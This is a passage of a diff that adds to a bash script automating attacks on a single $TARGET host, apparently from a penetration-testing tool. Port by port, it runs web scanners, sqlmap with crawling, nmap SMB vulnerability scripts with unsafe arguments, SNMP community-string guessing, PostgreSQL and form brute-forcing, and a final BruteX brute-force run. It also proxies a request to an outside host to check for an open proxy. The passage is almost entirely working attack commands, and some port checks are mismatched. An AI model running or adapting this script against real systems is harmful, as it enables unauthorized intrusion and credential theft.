"$OKBLUE+ -- --=[Checking for open proxy on $TARGET...$RESET $OKORANGE" + curl -s --insecure -x http://$TARGET:80 -L http://crowdshield.com/.testing/openproxy.txt + echo "" + echo -e "$OKBLUE+ -- --=[Enumerating software on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Server:|X-Powered|ASP|JSP|PHP|.NET" + echo "" + echo -e "$OKBLUE+ -- --=[Checking if Strict-Transport-Security is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET/ | egrep -i "Strict-Transport-Security" + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Flash cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/crossdomain.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Silverlight cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/clientaccesspolicy.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for HTML5 cross-origin resource sharing on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Access-Control-Allow-Origin" + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving robots.txt on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/robots.txt + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving sitemap.xml on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/sitemap.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking cookie attributes on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Cookie:" + echo "" + echo -e "$RESET" + + nikto -h http://$TARGET + wpscan --url http://$TARGET --batch + python $CMSMAP -t http://$TARGET + python /usr/share/sqlmap/sqlmap.py -u "http://$TARGET" --batch --crawl=5 -f +fi + +if [ -z "$port_110" ] +then + echo -e "$OKRED+ -- --=[Port 110 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 110 opened... running tests...$RESET" + nmap -sV --script=pop* -p 110 $TARGET +fi + +if [ -z "$port_111" ] +then + echo -e "$OKRED+ -- --=[Port 111 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 111 opened... running tests...$RESET" + showmount -a $TARGET + showmount -d $TARGET + showmount -e $TARGET +fi + +if [ -z "$port_135" ] +then + echo -e "$OKRED+ -- --=[Port 135 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 135 opened... running tests...$RESET" + rpcinfo -p $TARGET + nmap -p 135 --script=rpc* $TARGET +fi + +if [ -z "$port_139" ] +then + echo -e "$OKRED+ -- --=[Port 139 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 139 opened... running tests...$RESET" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap -sV --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET +fi + +if [ -z "$port_162" ] +then + echo -e "$OKRED+ -- --=[Port 162 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 162 opened... running tests...$RESET" + for a in `cat brutex/snmp-community-strings.txt`; do snmpwalk $TARGET -c $a; done; + nmap -p 162 --script=snmp* $TARGET +fi + +if [ -z "$port_443" ] +then + echo -e "$OKRED+ -- --=[Port 443 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 443 opened... running tests...$RESET" + nmap -sV -p 443 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-drupal-modules,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-email-harvest,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper,tls-nextprotoneg,ssl* $TARGET + goohak $TARGET 2> /dev/null + php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + wafw00f https://$TARGET + echo "" + whatweb https://$TARGET + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-Content' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Frame options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-Frame' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-XSS-Protection header is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-XSS' + echo "" + echo -e "$OKBLUE+ -- --=[Checking HTTP methods on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X OPTIONS https://$TARGET | grep Allow + echo "" + echo -e "$OKBLUE+ -- --=[Checking if TRACE method is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X TRACE https://$TARGET | grep TRACE + echo "" + echo -e "$OKBLUE+ -- --=[Checking for open proxy on $TARGET...$RESET $OKORANGE" + curl -x https://$TARGET:443 -L https://crowdshield.com/.testing/openproxy.txt -s --insecure + echo "" + echo -e "$OKBLUE+ -- --=[Enumerating software on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Server:|X-Powered|ASP|JSP|PHP|.NET" + echo "" + echo -e "$OKBLUE+ -- --=[Checking if Strict-Transport-Security is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET/ | egrep -i "Strict-Transport-Security" + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Flash cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/crossdomain.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Silverlight cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/clientaccesspolicy.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for HTML5 cross-origin resource sharing on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Access-Control-Allow-Origin" + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving robots.txt on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/robots.txt + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving sitemap.xml on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/sitemap.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking cookie attributes on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Cookie:" + echo -e "$RESET" + sslscan --no-failed $TARGET + echo "" + nikto -h https://$TARGET + wpscan --url https://$TARGET --batch + python $CMSMAP -t https://$TARGET + python /usr/share/sqlmap/sqlmap.py -u "https://$TARGET" --batch --crawl=5 -f +fi + +if [ -z "$port_445" ] +then + echo -e "$OKRED+ -- --=[Port 445 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 445 opened... running tests...$RESET" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET +fi + +if [ -z "$port_512" ] +then + echo -e "$OKRED+ -- --=[Port 512 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 512 opened... running tests...$RESET" + nmap -sV -p 512 --script=rexec* $TARGET +fi + +if [ -z "$port_513" ] +then + echo -e "$OKRED+ -- --=[Port 513 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 513 opened... running tests...$RESET" + nmap -sV -p 513 --script=rexec* $TARGET +fi + +if [ -z "$port_514" ] +then + echo -e "$OKRED+ -- --=[Port 514 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 514 opened... running tests...$RESET" + amap $TARGET 514 -A +fi + +if [ -z "$port_514" ] +then + echo -e "$OKRED+ -- --=[Port 514 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 514 opened... running tests...$RESET" + amap -A $TARGET 1524 +fi + +if [ -z "$port_2121" ] +then + echo -e "$OKRED+ -- --=[Port 2121 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 2121 opened... running tests...$RESET" + nmap -sV --script=ftp* -p 2121 $TARGET +fi + +if [ -z "$port_3306" ] +then + echo -e "$OKRED+ -- --=[Port 3306 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 3306 opened... running tests...$RESET" + nmap -sV --script=mysql* -p 3306 $TARGET +fi + +if [ -z "$port_3389" ] +then + echo -e "$OKRED+ -- --=[Port 3389 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 3389 opened... running tests...$RESET" + nmap -sV --script=rdp-* -p 3389 $TARGET +fi + +if [ -z "$port_5432" ] +then + echo -e "$OKRED+ -- --=[Port 5432 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5432 opened... running tests...$RESET" + nmap -sV --script=pgsql-brute -p 5432 $TARGET +fi + +if [ -z "$port_5800" ] +then + echo -e "$OKRED+ -- --=[Port 5800 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5800 opened... running tests...$RESET" + nmap -sV --script=vnc* -p 5800 $TARGET +fi + +if [ -z "$port_5900" ] +then + echo -e "$OKRED+ -- --=[Port 5900 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5900 opened... running tests...$RESET" + nmap -sV --script=vnc* -p 5900 $TARGET +fi + +if [ -z "$port_6000" ] +then + echo -e "$OKRED+ -- --=[Port 6000 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 6000 opened... running tests...$RESET" + nmap -sV --script=x11* -p 6000 $TARGET +fi + +if [ -z "$port_6667" ] +then + echo -e "$OKRED+ -- --=[Port 6667 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 6667 opened... running tests...$RESET" + nmap -sV --script=irc* -p 6667 $TARGET +fi + +if [ -z "$port_8000" ] +then + echo -e "$OKRED+ -- --=[Port 8000 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8000 opened... running tests...$RESET" + wafw00f http://$TARGET:8000 + echo "" + whatweb http://$TARGET:8000 + echo "" + xsstracer $TARGET 8000 + nikto -h http://$TARGET:8000 +fi + +if [ -z "$port_8100" ] +then + echo -e "$OKRED+ -- --=[Port 8100 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8100 opened... running tests...$RESET" + wafw00f http://$TARGET:8100 + echo "" + whatweb http://$TARGET:8100 + echo "" + xsstracer $TARGET 8100 + nikto -h http://$TARGET:8100 +fi + +if [ -z "$port_8080" ] +then + echo -e "$OKRED+ -- --=[Port 8080 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8080 opened... running tests...$RESET" + wafw00f http://$TARGET:8080 + echo "" + whatweb http://$TARGET:8080 + echo "" + xsstracer $TARGET 8080 + nikto -h http://$TARGET:8080 + nmap -p 8080 --script=proxy-* $TARGET +fi + +if [ -z "$port_8180" ] +then + echo -e "$OKRED+ -- --=[Port 8180 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8180 opened... running tests...$RESET" + wafw00f http://$TARGET:8180 + echo "" + whatweb http://$TARGET:8180 + echo "" + xsstracer $TARGET 8180 + nikto -h http://$TARGET:8180 + nmap -p 8180 --script=proxy-* $TARGET +fi + +if [ -z "$port_49152" ] +then + echo -e "$OKRED+ -- --=[Port 49152 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 49152 opened... running tests...$RESET" + $SUPER_MICRO_SCAN $TARGET +fi + +echo -e "$OKGREEN################################### Running Brute Force #############################$RESET" +cd BruteX/ +brutex $TARGET +rm -f hydra.restore +cd .. +echo "" +rm -f scan.log +echo -e "$OKGREEN################################### Done! ###########################################$RESET" +exit 0